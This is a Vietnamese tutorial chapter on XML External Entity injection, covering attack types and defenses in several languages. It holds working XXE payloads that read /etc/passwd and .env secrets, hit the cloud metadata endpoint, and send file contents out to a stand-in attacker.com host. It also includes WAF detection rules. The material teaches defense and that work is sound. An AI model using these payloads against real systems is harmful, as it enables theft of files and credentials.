Skip to main content

Chương 16: XXE — XML External Entity Injection

Khái niệm

XXE (XML External Entity Injection — Tiêm thực thể XML bên ngoài) là lỗ hổng xảy ra khi XML parser xử lý input có chứa external entity references độc hại.

Mức độ nguy hiểm: Cao — XXE có thể dẫn đến đọc files nội bộ, SSRF, và trong một số trường hợp, RCE.


XML Entities là gì?

XML cho phép định nghĩa entities — biến có thể được tham chiếu trong document:

<!-- Internal entity -->
<!DOCTYPE note [
<!ENTITY greeting "Hello, World!">
]>
<note>&greeting;</note>
<!-- Parser thay &greeting; bằng "Hello, World!" -->

<!-- External entity: load từ file hoặc URL -->
<!DOCTYPE note [
<!ENTITY ext SYSTEM "http://example.com/data.txt">
]>
<note>&ext;</note>
<!-- Parser fetch URL và thay thế bằng content -->

XXE xảy ra khi parser cho phép external entities từ untrusted input.


Các loại XXE

1. File Retrieval

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>

Response:

HTTP/1.1 400 Bad Request
...
"Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin..."

Files thú vị:

/etc/passwd → usernames
/etc/shadow → hashed passwords (nếu readable)
/etc/hosts → internal hostnames
/proc/self/environ → environment variables (secrets!)
/proc/self/cmdline → command line args
/var/log/apache2/access.log → logs
/var/www/html/config.php → app config với DB password
~/.ssh/id_rsa → SSH private key

2. XXE để SSRF

<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<request>&xxe;</request>

Parser fetch URL → giống SSRF, nhưng thông qua XXE.

3. Blind XXE — Không thấy output

Nhiều apps parse XML nhưng không echo lại content của entities.

Out-of-Band Exfiltration:

<!-- Payload gửi đến server -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;
]>
<foo>&exfil;</foo>
<!-- evil.dtd trên attacker.com -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % wrap "<!ENTITY exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%wrap;
Flow:
1. Parser load evil.dtd từ attacker.com
2. %file entity = content của /etc/passwd
3. %wrap tạo entity mới: exfil = fetch attacker.com với content
4. Parser fetch http://attacker.com/?data=root:x:0:0:root:/root:/bin/bash...
5. Hacker xem access log → có /etc/passwd content

Error-based Blind XXE:

<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
]>
Parser trigger error: "file not found: /nonexistent/root:x:0:0..."
Error message chứa file content!

4. XInclude Attack

Khi app nhận XML từ user nhưng nhúng vào server-side XML document (không control DTD):

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo>

5. XXE qua File Upload

Nhiều file formats dùng XML internally:

SVG upload:

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>

DOCX/XLSX/PPTX (Office XML formats):

DOCX = ZIP archive chứa XML files
→ Inject XXE vào word/document.xml hoặc [Content_Types].xml
→ Upload DOCX → server parse XML → XXE!

RSS/Atom feed:

<?xml version="1.0"?>
<!DOCTYPE feed [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<feed>&xxe;</feed>

Kịch bản tấn công: Đọc Config File

Target: E-commerce app, endpoint POST /api/stock-check nhận XML

1. Normal request:
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>

2. XXE payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [<!ENTITY xxe SYSTEM "file:///var/www/html/.env">]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>

3. Response:
{
"error": "Invalid product ID:
DB_HOST=mysql
DB_USER=root
DB_PASSWORD=Super$ecret123!
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI..."
}

4. Hacker có:
- Database credentials
- AWS credentials
→ Full system compromise

Cách phát hiện

□ App nhận XML input không? (Content-Type: text/xml, application/xml)
□ App accept file upload? (SVG, DOCX, XLSX, ODT, RSS)
□ Thêm DOCTYPE declaration với external entity
□ Test với file:///etc/passwd
□ Test với HTTP URL để detect SSRF via XXE
□ Test XInclude cho SOAP/REST endpoints nhúng user content vào XML
□ Kiểm tra error messages lộ file content
□ Test blind XXE với Burp Collaborator (out-of-band)

Content-Type test:

Một số apps accept XML dù không expect:
- Thay Content-Type: application/json → application/xml
- Convert JSON body sang equivalent XML
- Server có thể switch parser → XXE possible

Phòng chống

1. Disable External Entities và DTD Processing

# Python lxml
from lxml import etree

parser = etree.XMLParser(
resolve_entities=False, # Disable entity resolution
no_network=True, # Disable network access
load_dtd=False, # Disable DTD loading
)

try:
tree = etree.fromstring(xml_content, parser=parser)
except etree.XMLSyntaxError as e:
raise ValueError(f"Invalid XML: {e}")
// Java - DocumentBuilderFactory
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();

// Disable external entities
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
// PHP - libxml
libxml_disable_entity_loader(true); // Deprecated in PHP 8.0, disabled by default

// PHP 8.0+: external entities disabled by default
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NONET | LIBXML_NOENT);
// C# - XmlReader
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit; // Không cho phép DTD
settings.XmlResolver = null; // Không resolve external entities
XmlReader reader = XmlReader.Create(input, settings);

2. Dùng JSON thay vì XML

Nếu có thể, dùng JSON API thay vì XML
→ JSON không có entity/DTD concept → không có XXE

3. Validate và Sanitize XML Input

# Strip DOCTYPE declaration trước khi parse
import re

def strip_dangerous_xml(xml_str: str) -> str:
# Remove DOCTYPE declarations
xml_str = re.sub(r'<!DOCTYPE[^>]*>', '', xml_str, flags=re.IGNORECASE)
# Remove entity references
xml_str = re.sub(r'<!ENTITY[^>]*>', '', xml_str, flags=re.IGNORECASE)
return xml_str

4. File Upload Validation

import zipfile
import xml.etree.ElementTree as ET

def validate_docx(file_content: bytes) -> bool:
try:
with zipfile.ZipFile(io.BytesIO(file_content)) as zf:
for name in zf.namelist():
if name.endswith('.xml') or name.endswith('.rels'):
content = zf.read(name).decode('utf-8', errors='ignore')

# Check for DOCTYPE/ENTITY
if '<!DOCTYPE' in content or '<!ENTITY' in content:
return False # Reject file
return True
except (zipfile.BadZipFile, Exception):
return False

Góc nhìn DevOps

WAF Rules cho XXE:

ModSecurity CRS có rules detect XXE:
- REQUEST-944-APPLICATION-ATTACK-JAVA.conf
- Check cho <!DOCTYPE, <!ENTITY, SYSTEM, PUBLIC keywords

Custom rule:
SecRule REQUEST_BODY "@contains <!ENTITY" \
"id:1001,phase:2,deny,status:400,msg:'XXE attempt'"

Kubernetes: Hạn chế outbound connections:

# Nếu app bị XXE, network policy hạn chế:
# - Không fetch file:// (local file), network policy không help
# - Fetch HTTP outbound: block bằng egress policy
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
spec:
policyTypes:
- Egress
egress:
- to:
- podSelector:
matchLabels:
tier: database
# Không có outbound internet → limit blind XXE SSRF

SAST:

# Detect unsafe XML parsing
semgrep --config=p/java-xxe src/
semgrep --config=p/python-xxe src/

# Bandit cho Python
bandit -r . -t B313,B314,B315,B316,B317,B318,B319,B320

Tóm tắt

  • XXE: inject external entities vào XML → đọc files, SSRF, trong trường hợp đặc biệt RCE.
  • 4 loại: file retrieval, SSRF, blind (out-of-band/error-based), XInclude.
  • Ẩn trong file uploads: SVG, DOCX, XLSX, RSS feeds.
  • Phòng chống #1: Disable DTD processing và external entity resolution.
  • Prefer JSON over XML khi có thể.
  • Mỗi ngôn ngữ có cách cụ thể để disable — luôn configure explicitly.

Câu hỏi ôn tập

  1. XXE xảy ra do tính năng nào của XML được enable? Tại sao tính năng đó tồn tại?
  2. Tại sao DOCX/XLSX files có thể là vector cho XXE attack?
  3. Blind XXE và in-band XXE khác nhau như thế nào? Cách detect blind XXE?
  4. XInclude khác với External Entity Injection như thế nào?
  5. Tại sao disable DTD processing ở parser level tốt hơn là filter input?